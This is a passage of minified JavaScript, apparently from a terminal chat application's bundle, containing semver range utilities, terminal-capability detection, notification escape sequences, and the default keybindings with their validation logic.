if(A)O=`<${X}.${$}.${+_+1}-0`;else O=`<=${O}`;return`${q} ${O}`.trim()},IA9=(A,K,q)=>{for(let Y=0;Y<A.length;Y++)if(!A[Y].test(K))return!1;if(K.prerelease.length&&!q.includePrerelease){for(let Y=0;Y<A.length;Y++){if(mH(A[Y].semver),A[Y].semver===Aq6.ANY)continue;if(A[Y].semver.prerelease.length>0){let z=A[Y].semver;if(z.major===K.major&&z.minor===K.minor&&z.patch===K.patch)return!0}}return!1}return!0}});var nyA=v((xYw,n$4)=>{var ryA=Symbol("SemVer ANY");class q31{static get ANY(){return ryA}constructor(A,K){if(K=p$4(K),A instanceof q31)if(A.loose===!!K.loose)return A;else A=A.value;if(A=A.trim().split(/\s+/).join(" "),qq6("comparator",A,K),this.options=K,this.loose=!!K.loose,this.parse(A),this.semver===ryA)this.value="";else this.value=this.operator+this.semver.version;qq6("comp",this)}parse(A){let K=this.options.loose?d$4[c$4.COMPARATORLOOSE]:d$4[c$4.COMPARATOR],q=A.match(K);if(!q)throw TypeError(`Invalid comparator: ${A}`);if(this.operator=q[1]!==void 0?q[1]:"",this.operator==="=")this.operator="";if(!q[2])this.semver=ryA;else this.semver=new l$4(q[2],this.options.loose)}toString(){return this.value}test(A){if(qq6("Comparator.test",A,this.options.loose),this.semver===ryA||A===ryA)return!0;if(typeof A==="string")try{A=new l$4(A,this.options)}catch(K){return!1}return Kq6(A,this.operator,this.semver,this.options)}intersects(A,K){if(!(A instanceof q31))throw TypeError("a Comparator is required");if(this.operator===""){if(this.value==="")return!0;return new i$4(A.value,K).test(this.value)}else if(A.operator===""){if(A.value==="")return!0;return new i$4(this.value,K).test(A.semver)}if(K=p$4(K),K.includePrerelease&&(this.value==="<0.0.0-0"||A.value==="<0.0.0-0"))return!1;if(!K.includePrerelease&&(this.value.startsWith("<0.0.0")||A.value.startsWith("<0.0.0")))return!1;if(this.operator.startsWith(">")&&A.operator.startsWith(">"))return!0;if(this.operator.startsWith("<")&&A.operator.startsWith("<"))return!0;if(this.semver.version===A.semver.version&&this.operator.includes("=")&&A.operator.includes("="))return!0;if(Kq6(this.semver,"<",A.semver,K)&&this.operator.startsWith(">")&&A.operator.startsWith("<"))return!0;if(Kq6(this.semver,">",A.semver,K)&&this.operator.startsWith("<")&&A.operator.startsWith(">"))return!0;return!1}}n$4.exports=q31;var p$4=l51(),{safeRe:d$4,t:c$4}=hXA(),Kq6=eK6(),qq6=cyA(),l$4=LD(),i$4=uk()});var oyA=v((uYw,r$4)=>{var SA9=uk(),hA9=(A,K,q)=>{try{K=new SA9(K,q)}catch(Y){return!1}return K.test(A)};r$4.exports=hA9});var a$4=v((BYw,o$4)=>{var bA9=uk(),xA9=(A,K)=>new bA9(A,K).set.map((q)=>q.map((Y)=>Y.value).join(" ").trim().split(" "));o$4.exports=xA9});var t$4=v((mYw,s$4)=>{var uA9=LD(),BA9=uk(),mA9=(A,K,q)=>{let Y=null,z=null,w=null;try{w=new BA9(K,q)}catch(H){return null}return A.forEach((H)=>{if(w.test(H)){if(!Y||z.compare(H)===-1)Y=H,z=new uA9(Y,q)}}),Y};s$4.exports=mA9});var A_4=v((gYw,e$4)=>{var gA9=LD(),FA9=uk(),QA9=(A,K,q)=>{let Y=null,z=null,w=null;try{w=new FA9(K,q)}catch(H){return null}return A.forEach((H)=>{if(w.test(H)){if(!Y||z.compare(H)===1)Y=H,z=new gA9(Y,q)}}),Y};e$4.exports=QA9});var Y_4=v((FYw,q_4)=>{var Yq6=LD(),UA9=uk(),K_4=lyA(),pA9=(A,K)=>{A=new UA9(A,K);let q=new Yq6("0.0.0");if(A.test(q))return q;if(q=new Yq6("0.0.0-0"),A.test(q))return q;q=null;for(let Y=0;Y<A.set.length;++Y){let z=A.set[Y],w=null;if(z.forEach((H)=>{let J=new Yq6(H.semver.version);switch(H.operator){case">":if(J.prerelease.length===0)J.patch++;else J.prerelease.push(0);J.raw=J.format();case"":case">=":if(!w||K_4(J,w))w=J;break;case"<":case"<=":break;default:throw Error(`Unexpected operation: ${H.operator}`)}}),w&&(!q||K_4(q,w)))q=w}if(q&&A.test(q))return q;return null};q_4.exports=pA9});var w_4=v((QYw,z_4)=>{var dA9=uk(),cA9=(A,K)=>{try{return new dA9(A,K).range||"*"}catch(q){return null}};z_4.exports=cA9});var Y31=v((UYw,X_4)=>{var lA9=LD(),O_4=nyA(),{ANY:iA9}=O_4,nA9=uk(),rA9=oyA(),H_4=lyA(),J_4=s51(),oA9=e51(),aA9=t51(),sA9=(A,K,q,Y)=>{A=new lA9(A,Y),K=new nA9(K,Y);let z,w,H,J,O;switch(q){case">":z=H_4,w=oA9,H=J_4,J=">",O=">=";break;case"<":z=J_4,w=aA9,H=H_4,J="<",O="<=";break;default:throw TypeError('Must provide a hilo val of "<" or ">"')}if(rA9(A,K,Y))return!1;for(let X=0;X<K.set.length;++X){let $=K.set[X],_=null,G=null;if($.forEach((Z)=>{if(Z.semver===iA9)Z=new O_4(">=0.0.0");if(_=_||Z,G=G||Z,z(Z.semver,_.semver,Y))_=Z;else if(H(Z.semver,G.semver,Y))G=Z}),_.operator===J||_.operator===O)return!1;if((!G.operator||G.operator===J)&&w(A,G.semver))return!1;else if(G.operator===O&&H(A,G.semver))return!1}return!0};X_4.exports=sA9});var __4=v((pYw,$_4)=>{var tA9=Y31(),eA9=(A,K,q)=>tA9(A,K,">",q);$_4.exports=eA9});var Z_4=v((dYw,G_4)=>{var A19=Y31(),K19=(A,K,q)=>A19(A,K,"<",q);G_4.exports=K19});var j_4=v((cYw,D_4)=>{var W_4=uk(),q19=(A,K,q)=>{return A=new W_4(A,q),K=new W_4(K,q),A.intersects(K,q)};D_4.exports=q19});var P_4=v((lYw,M_4)=>{var Y19=oyA(),z19=xk();M_4.exports=(A,K,q)=>{let Y=[],z=null,w=null,H=A.sort(($,_)=>z19($,_,q));for(let $ of H)if(Y19($,K,q)){if(w=$,!z)z=$}else{if(w)Y.push([z,w]);w=null,z=null}if(z)Y.push([z,null]);let J=[];for(let[$,_]of Y)if($===_)J.push($);else if(!_&&$===H[0])J.push("*");else if(!_)J.push(`>=${$}`);else if($===H[0])J.push(`<=${_}`);else J.push(`${$} - ${_}`);let O=J.join(" || "),X=typeof K.raw==="string"?K.raw:String(K);return O.length<X.length?O:K}});var E_4=v((iYw,v_4)=>{var V_4=uk(),wq6=nyA(),{ANY:zq6}=wq6,ayA=oyA(),Hq6=xk(),w19=(A,K,q={})=>{if(A===K)return!0;A=new V_4(A,q),K=new V_4(K,q);let Y=!1;A:for(let z of A.set){for(let w of K.set){let H=J19(z,w,q);if(Y=Y||H!==null,H)continue A}if(Y)return!1}return!0},H19=[new wq6(">=0.0.0-0")],f_4=[new wq6(">=0.0.0")],J19=(A,K,q)=>{if(A===K)return!0;if(A.length===1&&A[0].semver===zq6)if(K.length===1&&K[0].semver===zq6)return!0;else if(q.includePrerelease)A=H19;else A=f_4;if(K.length===1&&K[0].semver===zq6)if(q.includePrerelease)return!0;else K=f_4;let Y=new Set,z,w;for(let Z of A)if(Z.operator===">"||Z.operator===">=")z=N_4(z,Z,q);else if(Z.operator==="<"||Z.operator==="<=")w=T_4(w,Z,q);else Y.add(Z.semver);if(Y.size>1)return null;let H;if(z&&w){if(H=Hq6(z.semver,w.semver,q),H>0)return null;else if(H===0&&(z.operator!==">="||w.operator!=="<="))return null}for(let Z of Y){if(z&&!ayA(Z,String(z),q))return null;if(w&&!ayA(Z,String(w),q))return null;for(let W of K)if(!ayA(Z,String(W),q))return!1;return!0}let J,O,X,$,_=w&&!q.includePrerelease&&w.semver.prerelease.length?w.semver:!1,G=z&&!q.includePrerelease&&z.semver.prerelease.length?z.semver:!1;if(_&&_.prerelease.length===1&&w.operator==="<"&&_.prerelease[0]===0)_=!1;for(let Z of K){if($=$||Z.operator===">"||Z.operator===">=",X=X||Z.operator==="<"||Z.operator==="<=",z){if(G){if(Z.semver.prerelease&&Z.semver.prerelease.length&&Z.semver.major===G.major&&Z.semver.minor===G.minor&&Z.semver.patch===G.patch)G=!1}if(Z.operator===">"||Z.operator===">="){if(J=N_4(z,Z,q),J===Z&&J!==z)return!1}else if(z.operator===">="&&!ayA(z.semver,String(Z),q))return!1}if(w){if(_){if(Z.semver.prerelease&&Z.semver.prerelease.length&&Z.semver.major===_.major&&Z.semver.minor===_.minor&&Z.semver.patch===_.patch)_=!1}if(Z.operator==="<"||Z.operator==="<="){if(O=T_4(w,Z,q),O===Z&&O!==w)return!1}else if(w.operator==="<="&&!ayA(w.semver,String(Z),q))return!1}if(!Z.operator&&(w||z)&&H!==0)return!1}if(z&&X&&!w&&H!==0)return!1;if(w&&$&&!z&&H!==0)return!1;if(G||_)return!1;return!0},N_4=(A,K,q)=>{if(!A)return K;let Y=Hq6(A.semver,K.semver,q);return Y>0?A:Y<0?K:K.operator===">"&&A.operator===">="?K:A},T_4=(A,K,q)=>{if(!A)return K;let Y=Hq6(A.semver,K.semver,q);return Y<0?A:Y>0?K:K.operator==="<"&&A.operator==="<="?K:A};v_4.exports=w19});var hy=v((nYw,L_4)=>{var Jq6=hXA(),k_4=dyA(),O19=LD(),C_4=aK6(),X19=N4A(),$19=sX4(),_19=eX4(),G19=q$4(),Z19=w$4(),W19=J$4(),D19=X$4(),j19=_$4(),M19=Z$4(),P19=xk(),V19=M$4(),f19=V$4(),N19=a51(),T19=v$4(),v19=k$4(),E19=lyA(),k19=s51(),C19=sK6(),L19=tK6(),R19=t51(),y19=e51(),I19=eK6(),S19=x$4(),h19=nyA(),b19=uk(),x19=oyA(),u19=a$4(),B19=t$4(),m19=A_4(),g19=Y_4(),F19=w_4(),Q19=Y31(),U19=__4(),p19=Z_4(),d19=j_4(),c19=P_4(),l19=E_4();L_4.exports={parse:X19,valid:$19,clean:_19,inc:G19,diff:Z19,major:W19,minor:D19,patch:j19,prerelease:M19,compare:P19,rcompare:V19,compareLoose:f19,compareBuild:N19,sort:T19,rsort:v19,gt:E19,lt:k19,eq:C19,neq:L19,gte:R19,lte:y19,cmp:I19,coerce:S19,Comparator:h19,Range:b19,satisfies:x19,toComparators:u19,maxSatisfying:B19,minSatisfying:m19,minVersion:g19,validRange:F19,outside:Q19,gtr:U19,ltr:p19,intersects:d19,simplifyRange:c19,subset:l19,SemVer:O19,re:Jq6.re,src:Jq6.src,tokens:Jq6.t,SEMVER_SPEC_VERSION:k_4.SEMVER_SPEC_VERSION,RELEASE_TYPES:k_4.RELEASE_TYPES,compareIdentifiers:C_4.compareIdentifiers,rcompareIdentifiers:C_4.rcompareIdentifiers}});function n19(){return process.platform==="win32"&&!!process.env.WT_SESSION}function r19(){if(process.env.TERM_PROGRAM==="mintty")return!0;if(process.platform==="win32"&&process.env.MSYSTEM)return!0;return!1}function o19(){if(n19())return!0;if(process.platform==="win32"&&process.env.TERM_PROGRAM==="vscode"&&process.env.TERM_PROGRAM_VERSION)return!0;if(r19())return!0;return!1}function syA(){if(process.platform==="win32")if(o19())return Z51+o76+r76;else return Z51+i19;return Z51+o76+r76}var i19,oYw;var Oq6=k(()=>{Ix();i19=oO(0,"f");oYw=syA()});function R_4(){if(!process.stdout.isTTY)return!1;if(process.env.WT_SESSION)return!1;if(process.env.ConEmuANSI||process.env.ConEmuPID||process.env.ConEmuTask)return!0;let A=tyA.coerce(process.env.TERM_PROGRAM_VERSION);if(!A)return!1;if(process.env.TERM_PROGRAM==="ghostty")return tyA.gte(A,"1.2.0");if(process.env.TERM_PROGRAM==="iTerm.app")return tyA.gte(A,"3.6.6");return!1}function y_4(){let A=process.env.TERM_PROGRAM,K=process.env.TERM;if(A==="iTerm.app"||A==="WezTerm"||A==="ghostty"||A==="contour"||A==="vscode"||A==="alacritty")return!0;if(K?.includes("kitty")||process.env.KITTY_WINDOW_ID)return!0;if(K==="xterm-ghostty")return!0;if(K?.startsWith("foot"))return!0;if(K?.includes("alacritty"))return!0;if(process.env.WT_SESSION)return!0;let q=process.env.VTE_VERSION;if(q){if(parseInt(q,10)>=6800)return!0}return!1}function Xq6(A,K){if(K.length===0)return;let q=RX4;for(let Y of K)switch(Y.type){case"stdout":q+=Y.content;break;case"clear":if(Y.count>0)q+=TO4(Y.count);break;case"clearTerminal":q+=syA();break;case"cursorHide":q+=pyA;break;case"cursorShow":q+=Iy;break;case"cursorMove":q+=NO4(Y.x,Y.y);break;case"carriageReturn":q+="\r";break;case"resolvePendingWrap":q+=" \b";break;case"hyperlink":q+=gX4(Y.uri);break;case"style":q+=ET(Y.codes);break}q+=yX4,A.stdout.write(q)}var tyA;var z31=k(()=>{TXA();Ix();P4A();SXA();Oq6();tyA=o(hy(),1)});function Bx(){let A=Bk.useContext(I_4);if(!A)throw Error("useTerminalNotification must be used within TerminalWriteProvider");let K=Bk.useCallback(({message:H,title:J})=>{let O=J?`${J}: ${H}`:H;A(kT(_G.ITERM2,` ${O}`))},[A]),q=Bk.useCallback(({message:H,title:J,id:O})=>{A(kT(_G.KITTY,`i=${O}:d=0:p=title`,J)),A(kT(_G.KITTY,`i=${O}:p=body`,H)),A(kT(_G.KITTY,`i=${O}:d=1:a=focus`,""))},[A]),Y=Bk.useCallback(({message:H,title:J})=>{A(kT(_G.GHOSTTY,"notify",J,H))},[A]),z=Bk.useCallback(()=>{A(Hr)},[A]),w=Bk.useCallback((H,J)=>{if(!R_4())return;if(!H){A(kT(_G.ITERM2,V4A.PROGRESS,f4A.CLEAR,""));return}let O=Math.max(0,Math.min(100,Math.round(J??0)));switch(H){case"completed":A(kT(_G.ITERM2,V4A.PROGRESS,f4A.CLEAR,""));break;case"error":A(kT(_G.ITERM2,V4A.PROGRESS,f4A.ERROR,O));break;case"indeterminate":A(kT(_G.ITERM2,V4A.PROGRESS,f4A.INDETERMINATE,""));break;case"running":A(kT(_G.ITERM2,V4A.PROGRESS,f4A.SET,O));break;case null:break}},[A]);return Bk.useMemo(()=>({notifyITerm2:K,notifyKitty:q,notifyGhostty:Y,notifyBell:z,progress:w}),[K,q,Y,z,w])}var Bk,I_4,S_4;var T4A=k(()=>{O4A();SXA();z31();Bk=o($A(),1),I_4=Bk.createContext(null),S_4=I_4.Provider});function $q6(A){if(A.length<=1)return A;let K=[];for(let q of A){if(a19(q))continue;if(s19(K,q))continue;K.push(q)}return K}function a19(A){switch(A.type){case"stdout":return A.content==="";case"cursorMove":return A.x===0&&A.y===0;case"clear":return A.count===0;default:return!1}}function s19(A,K){if(A.length===0)return!1;let q=A[A.length-1];if(K.type==="cursorMove"&&q.type==="cursorMove")return A[A.length-1]={type:"cursorMove",x:q.x+K.x,y:q.y+K.y},!0;if(K.type==="style"&&q.type==="style")return A[A.length-1]=K,!0;if(K.type==="hyperlink"&&q.type==="hyperlink"&&K.uri===q.uri)return!0;if(K.type==="cursorShow"&&q.type==="cursorHide"||K.type==="cursorHide"&&q.type==="cursorShow")return A.pop(),!0;return!1}function Dr(A,K,q,Y,z){return{screen:gyA(0,0,q,Y,z),viewport:{width:K,height:A},cursor:{x:0,y:0,visible:!0}}}var h_4=k(()=>{EXA()});function eyA(A){let K=A.split("+"),q={key:"",ctrl:!1,alt:!1,shift:!1,meta:!1};for(let Y of K){let z=Y.toLowerCase();switch(z){case"ctrl":case"control":q.ctrl=!0;break;case"alt":case"opt":case"option":q.alt=!0;break;case"shift":q.shift=!0;break;case"meta":case"cmd":case"command":q.meta=!0;break;case"esc":q.key="escape";break;case"return":q.key="enter";break;case"space":q.key=" ";break;case"↑":q.key="up";break;case"↓":q.key="down";break;case"←":q.key="left";break;case"→":q.key="right";break;default:q.key=z;break}}return q}function t19(A){if(A===" ")return[eyA("space")];return A.trim().split(/\s+/).map(eyA)}function e19(A){let K=[];if(A.ctrl)K.push("ctrl");if(A.alt)K.push("alt");if(A.shift)K.push("shift");if(A.meta)K.push("meta");let q=A69(A.key);return K.push(q),K.join("+")}function A69(A){switch(A){case"escape":return"Esc";case" ":return"Space";case"tab":return"Tab";case"enter":return"Enter";case"backspace":return"Backspace";case"delete":return"Delete";case"up":return"↑";case"down":return"↓";case"left":return"←";case"right":return"→";case"pageup":return"PageUp";case"pagedown":return"PageDown";case"home":return"Home";case"end":return"End";default:return A}}function w31(A){return A.map(e19).join(" ")}function H31(A){let K=[];for(let q of A)for(let[Y,z]of Object.entries(q.bindings))K.push({chord:t19(Y),action:z,context:q.context});return K}function b_4(A,K){if(K.escape)return"escape";if(K.return)return"enter";if(K.tab)return"tab";if(K.backspace)return"backspace";if(K.delete)return"delete";if(K.upArrow)return"up";if(K.downArrow)return"down";if(K.leftArrow)return"left";if(K.rightArrow)return"right";if(K.pageUp)return"pageup";if(K.pageDown)return"pagedown";if(K.home)return"home";if(K.end)return"end";if(A.length===1)return A.toLowerCase();return null}function J31(A,K,q){for(let Y=q.length-1;Y>=0;Y--){let z=q[Y];if(z&&z.action===A&&z.context===K)return w31(z.chord)}return}function K69(A,K){let q=b_4(A,K);if(!q)return null;let Y=K.escape?!1:K.meta;return{key:q,ctrl:K.ctrl,alt:Y,shift:K.shift,meta:Y}}function q69(A,K){if(A.length>=K.chord.length)return!1;for(let q=0;q<A.length;q++){let Y=A[q],z=K.chord[q];if(!Y||!z)return!1;if(Y.key!==z.key)return!1;if(Y.ctrl!==z.ctrl)return!1;if((Y.alt||Y.meta)!==(z.alt||z.meta))return!1;if(Y.shift!==z.shift)return!1}return!0}function Y69(A,K){if(A.length!==K.chord.length)return!1;for(let q=0;q<A.length;q++){let Y=A[q],z=K.chord[q];if(!Y||!z)return!1;if(Y.key!==z.key)return!1;if(Y.ctrl!==z.ctrl)return!1;if((Y.alt||Y.meta)!==(z.alt||z.meta))return!1;if(Y.shift!==z.shift)return!1}return!0}function O31(A,K,q,Y,z){if(K.escape&&z!==null)return{type:"chord_cancelled"};let w=K69(A,K);if(!w){if(z!==null)return{type:"chord_cancelled"};return{type:"none"}}let H=z?[...z,w]:[w],J=Y.filter(($)=>q.includes($.context));if(J.some(($)=>$.chord.length>H.length&&q69(H,$)))return{type:"chord_started",pending:H};let X;for(let $ of J)if(Y69(H,$))X=$;if(X){if(X.action===null)return{type:"unbound"};return{type:"match",action:X.action}}if(z!==null)return{type:"chord_cancelled"};return{type:"none"}}var X31=()=>{};function $31(A){let K=s(27),{bindings:q,pendingChordRef:Y,pendingChord:z,setPendingChord:w,activeContexts:H,registerActiveContext:J,unregisterActiveContext:O,handlerRegistryRef:X,children:$}=A,_;if(K[0]!==q)_=(C,R)=>J31(C,R,q),K[0]=q,K[1]=_;else _=K[1];let G=_,Z;if(K[2]!==X)Z=(C)=>{let R=X.current;if(!R)return z69;if(!R.has(C.action))R.set(C.action,new Set);return R.get(C.action).add(C),()=>{let x=R.get(C.action);if(x){if(x.delete(C),x.size===0)R.delete(C.action)}}},K[2]=X,K[3]=Z;else Z=K[3];let W=Z,D;if(K[4]!==H||K[5]!==X)D=(C)=>{let R=X.current;if(!R)return!1;let x=R.get(C);if(!x||x.size===0)return!1;for(let y of x)if(H.has(y.context))return y.handler(),!0;return!1},K[4]=H,K[5]=X,K[6]=D;else D=K[6];let j=D,M;if(K[7]!==q||K[8]!==Y)M=(C,R,x)=>O31(C,R,x,q,Y.current),K[7]=q,K[8]=Y,K[9]=M;else M=K[9];let P;if(K[10]!==G)P=(C,R)=>G(C,R),K[10]=G,K[11]=P;else P=K[11];let f;if(K[12]!==H||K[13]!==q||K[14]!==G||K[15]!==j||K[16]!==z||K[17]!==J||K[18]!==W||K[19]!==w||K[20]!==M||K[21]!==P||K[22]!==O)f={resolve:M,setPendingChord:w,getDisplayText:G,getPlatformDisplayText:P,bindings:q,pendingChord:z,activeContexts:H,registerActiveContext:J,unregisterActiveContext:O,registerHandler:W,invokeAction:j},K[12]=H,K[13]=q,K[14]=G,K[15]=j,K[16]=z,K[17]=J,K[18]=W,K[19]=w,K[20]=M,K[21]=P,K[22]=O,K[23]=f;else f=K[23];let N=f,T;if(K[24]!==$||K[25]!==N)T=x_4.default.createElement(u_4.Provider,{value:N},$),K[24]=$,K[25]=N,K[26]=T;else T=K[26];return T}function z69(){}function mk(){return xXA.useContext(u_4)}function _31(A,K){let q=s(5),Y=K===void 0?!0:K,z=mk(),w,H;if(q[0]!==A||q[1]!==Y||q[2]!==z)w=()=>{if(!z||!Y)return;return z.registerActiveContext(A),()=>{z.unregisterActiveContext(A)}},H=[A,z,Y],q[0]=A,q[1]=Y,q[2]=z,q[3]=w,q[4]=H;else w=q[3],H=q[4];xXA.useLayoutEffect(w,H)}var x_4,xXA,u_4;var SQ=k(()=>{cA();X31();x_4=o($A(),1),xXA=o($A(),1),u_4=xXA.createContext(null)});var _q6,H69,J69,O69,uXA;var G31=k(()=>{B5();_q6=o(hy(),1),H69=o6()==="windows"?"alt+v":"ctrl+v",J69=o6()!=="windows"||(R1A()?_q6.default.satisfies(process.versions.bun,">=1.2.23"):_q6.default.satisfies(process.versions.node,">=22.17.0 <23.0.0 || >=24.2.0")),O69=J69?"shift+tab":"meta+m",uXA=[{context:"Global",bindings:{"ctrl+c":"app:interrupt","ctrl+d":"app:exit","ctrl+t":"app:toggleTodos","ctrl+o":"app:toggleTranscript","ctrl+shift+o":"app:toggleTeammatePreview","ctrl+r":"history:search",...{},...{}}},{context:"Chat",bindings:{escape:"chat:cancel",[O69]:"chat:cycleMode","meta+p":"chat:modelPicker","meta+t":"chat:thinkingToggle",enter:"chat:submit",up:"history:previous",down:"history:next","ctrl+_":"chat:undo","ctrl+shift+-":"chat:undo","ctrl+g":"chat:externalEditor","ctrl+s":"chat:stash",[H69]:"chat:imagePaste"}},{context:"Autocomplete",bindings:{tab:"autocomplete:accept",escape:"autocomplete:dismiss",up:"autocomplete:previous",down:"autocomplete:next"}},{context:"Settings",bindings:{escape:"confirm:no",up:"select:previous",down:"select:next",k:"select:previous",j:"select:next","ctrl+p":"select:previous","ctrl+n":"select:next",enter:"select:accept",space:"select:accept","/":"settings:search",r:"settings:retry"}},{context:"Confirmation",bindings:{y:"confirm:yes",n:"confirm:no",enter:"confirm:yes",escape:"confirm:no",up:"confirm:previous",down:"confirm:next",tab:"confirm:nextField","shift+tab":"confirm:cycleMode","ctrl+e":"confirm:toggleExplanation","ctrl+d":"permission:toggleDebug"}},{context:"Tabs",bindings:{tab:"tabs:next","shift+tab":"tabs:previous",right:"tabs:next",left:"tabs:previous"}},{context:"Transcript",bindings:{"ctrl+e":"transcript:toggleShowAll","ctrl+c":"transcript:exit",escape:"transcript:exit"}},{context:"HistorySearch",bindings:{"ctrl+r":"historySearch:next",escape:"historySearch:accept",tab:"historySearch:accept","ctrl+c":"historySearch:cancel",enter:"historySearch:execute"}},{context:"Task",bindings:{"ctrl+b":"task:background"}},{context:"ThemePicker",bindings:{"ctrl+t":"theme:toggleSyntaxHighlighting"}},{context:"Help",bindings:{escape:"help:dismiss"}},{context:"Attachments",bindings:{right:"attachments:next",left:"attachments:previous",backspace:"attachments:remove",delete:"attachments:remove",down:"attachments:exit",escape:"attachments:exit"}},{context:"Footer",bindings:{right:"footer:next",left:"footer:previous",enter:"footer:openSelected",escape:"footer:clearSelection"}},{context:"MessageSelector",bindings:{up:"messageSelector:up",down:"messageSelector:down",k:"messageSelector:up",j:"messageSelector:down","ctrl+up":"messageSelector:top","shift+up":"messageSelector:top","meta+up":"messageSelector:top","shift+k":"messageSelector:top","ctrl+down":"messageSelector:bottom","shift+down":"messageSelector:bottom","meta+down":"messageSelector:bottom","shift+j":"messageSelector:bottom",enter:"messageSelector:select"}},{context:"DiffDialog",bindings:{escape:"diff:dismiss",left:"diff:previousSource",right:"diff:nextSource",up:"diff:previousFile",down:"diff:nextFile",enter:"diff:viewDetails"}},{context:"ModelPicker",bindings:{left:"modelPicker:decreaseEffort",right:"modelPicker:increaseEffort"}},{context:"Select",bindings:{up:"select:previous",down:"select:next",j:"select:next",k:"select:previous","ctrl+n":"select:next","ctrl+p":"select:previous",enter:"select:accept",escape:"select:cancel"}},{context:"Plugin",bindings:{space:"plugin:toggle",i:"plugin:install"}}]});function B_4(){let A=o6(),K=[...AIA,...Gq6];if(A==="macos")K.push(...Zq6);return K}function v4A(A){let K=A.split("+"),q=[],Y="";for(let z of K){let H=z.trim().toLowerCase();if(["ctrl","control","alt","opt","option","meta","cmd","command","shift"].includes(H))if(H==="control")q.push("ctrl");else if(H==="option"||H==="opt")q.push("alt");else if(H==="command"||H==="cmd")q.push("cmd");else q.push(H);else Y=H}return q.sort(),[...q,Y].join("+")}var AIA,Gq6,Zq6;var Z31=k(()=>{B5();AIA=[{key:"ctrl+c",reason:"Cannot be rebound - used for interrupt/exit (hardcoded)",severity:"error"},{key:"ctrl+d",reason:"Cannot be rebound - used for exit (hardcoded)",severity:"error"},{key:"ctrl+m",reason:"Cannot be rebound - identical to Enter in terminals (both send CR)",severity:"error"}],Gq6=[{key:"ctrl+z",reason:"Unix process suspend (SIGTSTP)",severity:"warning"},{key:"ctrl+\\",reason:"Terminal quit signal (SIGQUIT)",severity:"error"}],Zq6=[{key:"cmd+c",reason:"macOS system copy",severity:"error"},{key:"cmd+v",reason:"macOS system paste",severity:"error"},{key:"cmd+x",reason:"macOS system cut",severity:"error"},{key:"cmd+q",reason:"macOS quit application",severity:"error"},{key:"cmd+w",reason:"macOS close window/tab",severity:"error"},{key:"cmd+tab",reason:"macOS app switcher",severity:"error"},{key:"cmd+space",reason:"macOS Spotlight",severity:"error"}]});function X69(A){if(typeof A!=="object"||A===null)return!1;let K=A;return typeof K.context==="string"&&typeof K.bindings==="object"&&K.bindings!==null}function $69(A){return Array.isArray(A)&&A.every(X69)}function _69(A){return m_4.includes(A)}function G69(A){let K=A.toLowerCase().split("+");for(let Y of K)if(!Y.trim())return{type:"parse_error",severity:"error",message:`Empty key part in "${A}"`,key:A,suggestion:'Remove extra "+" characters'};let q=eyA(A);if(!q.key&&!q.ctrl&&!q.alt&&!q.shift&&!q.meta)return{type:"parse_error",severity:"error",message:`Could not parse keystroke "${A}"`,key:A};return null}function Z69(A,K){let q=[];if(typeof A!=="object"||A===null)return q.push({type:"parse_error",severity:"error",message:`Keybinding block ${K+1} is not an object`}),q;let Y=A,z=Y.context,w;if(typeof z!=="string")q.push({type:"parse_error",severity:"error",message:`Keybinding block ${K+1} missing "context" field`});else if(!_69(z))q.push({type:"invalid_context",severity:"error",message:`Unknown context "${z}"`,context:z,suggestion:`Valid contexts: ${m_4.join(", ")}`});else w=z;if(typeof Y.bindings!=="object"||Y.bindings===null)return q.push({type:"parse_error",severity:"error",message:`Keybinding block ${K+1} missing "bindings" field`}),q;let H=Y.bindings;for(let[J,O]of Object.entries(H)){let X=G69(J);if(X)X.context=w,q.push(X);if(O!==null&&typeof O!=="string")q.push({type:"invalid_action",severity:"error",message:`Invalid action for "${J}": must be a string or null`,key:J,context:w});else if(typeof O==="string"&&O.startsWith("command:")){if(!/^command:[a-zA-Z0-9:\-_]+$/.test(O))q.push({type:"invalid_action",severity:"warning",message:`Invalid command binding "${O}" for "${J}": command name may only contain alphanumeric characters, colons, hyphens, and underscores`,key:J,context:w,action:O});if(w&&w!=="Chat")q.push({type:"invalid_action",severity:"warning",message:`Command binding "${O}" must be in "Chat" context, not "${w}"`,key:J,context:w,action:O,suggestion:'Move this binding to a block with "context": "Chat"'})}}return q}function Wq6(A){let K=[],q=/"bindings"\s*:\s*\{([^{}]*(?:\{[^{}]*\}[^{}]*)*)\}/g,Y;while((Y=q.exec(A))!==null){let z=Y[1];if(!z)continue;let J=A.slice(0,Y.index).match(/"context"\s*:\s*"([^"]+)"[^{]*$/)?.[1]??"unknown",O=/"([^"]+)"\s*:/g,X=new Map,$;while(($=O.exec(z))!==null){let _=$[1];if(!_)continue;let G=(X.get(_)??0)+1;if(X.set(_,G),G===2)K.push({type:"duplicate",severity:"warning",message:`Duplicate key "${_}" in ${J} bindings`,key:_,context:J,suggestion:"This key appears multiple times in the same context. JSON uses the last value, earlier values are ignored."})}}return K}function W69(A){let K=[];if(!Array.isArray(A))return K.push({type:"parse_error",severity:"error",message:"keybindings.json must contain an array",suggestion:"Wrap your bindings in [ ]"}),K;for(let q=0;q<A.length;q++)K.push(...Z69(A[q],q));return K}function D69(A){let K=[],q=new Map;for(let Y of A){let z=q.get(Y.context)??new Map;q.set(Y.context,z);for(let[w,H]of Object.entries(Y.bindings)){let J=v4A(w),O=z.get(J);if(O&&O!==H)K.push({type:"duplicate",severity:"warning",message:`Duplicate binding "${w}" in ${Y.context} context`,key:w,context:Y.context,action:H??"null (unbind)",suggestion:`Previously bound to "${O}". Only the last binding will be used.`});z.set(J,H??"null")}}return K}function j69(A){let K=[],q=B_4();for(let Y of A){let z=w31(Y.chord),w=v4A(z);for(let H of q)if(v4A(H.key)===w)K.push({type:"reserved",severity:H.severity,message:`"${z}" may not work: ${H.reason}`,key:z,context:Y.context,action:Y.action??void 0})}return K}function M69(A){let K=[];for(let q of A)for(let[Y,z]of Object.entries(q.bindings)){let w=Y.split(" ").map((H)=>eyA(H));K.push({chord:w,action:z,context:q.context})}return K}function Dq6(A,K){let q=[];if(q.push(...W69(A)),$69(A)){q.push(...D69(A));let z=M69(A);q.push(...j69(z))}let Y=new Set;return q.filter((z)=>{let w=`${z.type}:${z.key}:${z.context}`;if(Y.has(w))return!1;return Y.add(w),!0})}var m_4;var g_4=k(()=>{Z31();m_4=["Global","Chat","Autocomplete","Confirmation","Help","Transcript","HistorySearch","Task","ThemePicker","Settings","Tabs","Attachments","Footer","MessageSelector","DiffDialog","ModelPicker","Select","Plugin"]});import{readFile as P69,stat as V69}from"fs/promises";import{readFileSync as f69}from"fs";import{join as N69,dirname as T69}from"path";function gk(){return G4("tengu_keybinding_customization_release",!1)}function d_4(A){let K=new 